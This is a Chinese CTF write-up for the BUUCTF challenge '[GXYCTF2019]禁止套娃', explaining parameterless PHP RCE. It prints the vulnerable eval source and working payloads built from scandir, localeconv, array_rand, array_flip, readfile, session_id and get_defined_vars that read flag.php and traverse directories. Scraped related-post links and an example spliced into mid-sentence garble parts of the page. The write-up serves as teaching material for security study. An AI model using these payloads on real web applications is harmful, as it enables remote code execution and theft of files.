[GXYCTF2019]禁止套娃 1

啥都没有那只能上扫描器来一探究竟了。

扫完没有啥结果,但网上找了一下说是git泄露,但是我这里显示了403.

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

网上的git的代码

这里涉及到了无参数RCE,对于if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这个正则表达式,刚开始有一处我无法理解,那就是?R因为正则表达式没记得有这个字母,网上查了一下,(?R)是引用当前表达式的意思,因此可以衍生成匹配

\w+\(\w+\((?R)?\)\)、\w+\(\w+\(\w+\((?R)?\)\)\)
我想这就是为什么他取了无限套娃这个名字,套就硬套hhh,那我们只能输入下面类似的了a(b(c()));

在这种情况下平常我们利用的shell就会被受限制,汉南区执行我们想要的漏洞。

这个时候我们只有利用一切全局变量了来获取一些我们想要的信息。

关于getenv函数:

getenv()函数定义:取得系统的环境变量;
语法:string getenv(string varname);
注:返回的是字符串;

详情参考:https://www.php.cn/php-weizijiaocheng-389142.html

localeconv函数:返回一包含本地数字及货币格式信息的数组。

output:

Array ( [decimal_point] => . [thousands_sep] => [int_curr_symbol] => [currency_symbol] => [mon_decimal_point] => [mon_thousands_sep] => [positive_sign] => [negative_sign] => [int_frac_digits] => 127 [frac_digits] => 127 [p_cs_precedes] => 127 [p_sep_by_space] => 127 [n_cs_precedes] => 127 [n_sep_by_space] => 127 [p_sign_posn] => 127 [n_sign_posn] => 127 [grouping] => Array ( ) [mon_grouping] => Array ( ) )

current() 返回数组中的当前单元, 默认取第一个值。

第一个参数课已被我们用来当作根目录来进行查看:

那么就生成:(scandir(current(localeconv)))

payload:http://80b87005-c33a-4f1b-8f02-86cdc8ff521c.node3.buuoj.cn/?exp=print_r(scandir(current(localeconv())));

output:Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

得出在根目录下是存在flag.php的接下来我们就要去读取了。

arrayrand函数:从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回。

array
flip:交换数组的键和值,这样键就是flag,值就是文件名称了,我们在使用随机抽取的方式,获取我们想要的文件内容。

利用readfile来读取文件:

最终payload:view-source:http://80b87005-c33a-4f1b-8f02-86cdc8ff521c.node3.buuoj.cn/?exp=print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

刷新几下就能刷出来了。

解法二:利用session
sessionstart:调用session。

session
id:获取sessionid。

当我们把session_id设置为flag.php的时候,奇妙的事情就发生了呢,我们此时能够读取到flag了呢。

highlight_file,show_source都可以帮助我们读取文件。

关于无参数RCE:

虚假的的一句话木马:eval($_GET['code'])
真正的一句话木马:

面对正则表达式的匹配:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}

我们无法利用单引号啦!

$_ENVL:

通过环境方式传递给当前脚本的变量的数组。

这些变量被从 PHP 解析器的运行环境导入到 PHP 的全局命名空间。很多是由支持 PHP 运行的 Shell 提供的,并且不同的系统很可能运行着不同种类的 Shell,所以不可能有一份确定的列表。请查<?php

array_rand:

$a=array("red","green","blue","yellow","brown");
$random_keys=array_rand($a,3);
echo $a[$random_keys[0]]."<br>";
echo $a[$random_keys[1]]."<br>";
echo $a[$random_keys[2]];
?>看你的 Shell 文档来获取定义的环境变量列表。

array_flip:

<?php
$a1=array("a"=>"red","b"=>"green","c"=>"blue","d"=>"yellow");
$result=array_flip($a1);
print_r($result);
?>

反转数组中的键名和对应关联的键值,利用这两步我们就可以骚操作了,妙啊妙啊,因为我们单使用rand它只能返回键名,就很不nice,配合getenv()。

array_reverse:

以相反的元素顺序返回数组

dirname() & chdir()

这种方法我们不进行RCE,而是直接及逆行目录文件读取。

getcwd:获取当前目录。

目录遍历:scandir函数。

返回上层目录:dirname()
更改当前目录:

dirname(getcwd())
chdir(dirname(getcwd()))

遍历上一层或目录:

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

此外还有:getdefinedvars(),利用的是get/post传参。

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

具体的做法就是我们利用get或者post的方法传递一个参数,然后使用current+end或者start把他提取出来。

payload:eval(end(current(get_defined_vars())));&b=youwanttoshow;

[GXYCTF2019]禁止套娃 1 &无参数RCE的更多相关文章

  1. [GXYCTF2019]禁止套娃(无参RCE)

    [GXYCTF2019]禁止套娃 1.扫描目录 扫描之后发现git泄漏 使用githack读取泄漏文件 <?php include "flag.php"; echo &quo ...

  2. [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃

    [BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...

  3. 0xctf[No parameters readfile](魔改版[GXYCTF2019]禁止套娃)

    阅读本文前建议先阅读本站中的另一篇文章:[GXYCTF2019]禁止套娃 重要参考链接:http://www.heetian.com/info/827 Leon师傅魔改了[GXYCTF2019]禁止套 ...

  4. [GXYCTF2019]禁止套娃

    0x00 知识点 无参数RCE eval($_GET['exp']); 参考链接: https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/ ...

  5. 刷题[GXYCTF2019]禁止套娃

    梳理思路 打开网站,发现很简单,只有flag在哪里的字样. 查看源码,常用后台目录,robots.txt,都未发现有任何东西. 扫描 直接拉进扫描器一扫,发现 思考可能是git源码泄露,可能可以恢复源 ...

  6. 浅谈无参数RCE

    0x00 前言 这几天做了几道无参数RCE的题目,这里来总结一下,以后忘了也方便再捡起来. 首先先来解释一下什么是无参数RCE: 形式: if(';' === preg_replace('/[^\W] ...

  7. [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]

    简介  原题复现:  考察知识点:无参数命令执行.绕过filter_var(), preg_match()  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...

  8. [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)

    简介  原题复现:  考察知识点:无参数命令执行.Fuzz  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...

  9. [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]

    简介  原题复现:  考察知识点:无参数命令执行  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...

随机推荐

  1. YouCompleteMe unavailable: requires Vim compiled with Python 2.x support

    问题:YouCompleteMe unavailable: requires Vim compiled with Python 2.x support 解决:重新编译,加入--enable-pytho ...

  2. SSM项目_Eclipse卡进程 一直loading加载spring-xx.xsd/无法加载SpringXSD文件

    你遇到了套娃,请进https:////www.cnblogs.com/steamer/articles/12500645.html查看答案

  3. FinalShell远程连接工具推荐

    今天给大家推荐一个类似Xshell的工具FinalShell,这个工具也使用了很长时间了, Windows和Mac版本都有,方便连接虚拟机 可以很方便的上传文件,有兴趣可以试试这款软件. 地址:htt ...

  4. 初识ABP vNext(7):vue身份认证管理&租户管理

    Tips:本篇已加入系列文章阅读目录,可点击查看更多相关文章. 目录 前言 开始 按钮级权限 身份认证管理 R/U权限 权限刷新 租户管理 租户切换 效果 最后 前言 上一篇介绍了vue+ABP国际化 ...

  5. SecureCRT 关键字高亮显示

    grep命令红色高亮关键字 1.  左边侧栏 Session Manage 右键Sessions --Properties 2 Terminal--Appearance Current color s ...

  6. 【小白学PyTorch】4 构建模型三要素与权重初始化

    文章目录: 目录 1 模型三要素 2 参数初始化 3 完整运行代码 4 尺寸计算与参数计算 1 模型三要素 三要素其实很简单 必须要继承nn.Module这个类,要让PyTorch知道这个类是一个Mo ...

  7. if-else 可以这么写

    最近部门在对以往的代码做一些优化,我在代码中看到一连串的 if(){}elseif(){} 的逻辑判断.这明显是有优化空间的. 由于内部代码不适合分享,这里我就用 <输出今天为星期几> 来 ...

  8. 腾讯大牛半年心血高级编程PDF,帮你轻松构建企业级Web应用

    毫无疑问,Java 是这些年来最流行的编程语言之一.它无处不在一计算机. 手机.网站以及各种嵌入式设备中都存在着大量的Java 应用程序,而其中应用最为广泛的应该就是Java EE Web应用程序(以 ...

  9. iOS审核被拒大全

    崩溃和bug 当你完成应用开发并准备发布时应该将App提交审核.在提交审核前,要确保已经在设备上对应用程序进行了彻底的测试,修复了所有的bug. 断掉的链接 应用程序中所有的链接必须是功能性的.对于所 ...

  10. OneDrive Weblist

    OneIndex-Serverless 教程:https://zhuanlan.zhihu.com/p/74538287 https://github.com/LiuChangFreeman/OneI ...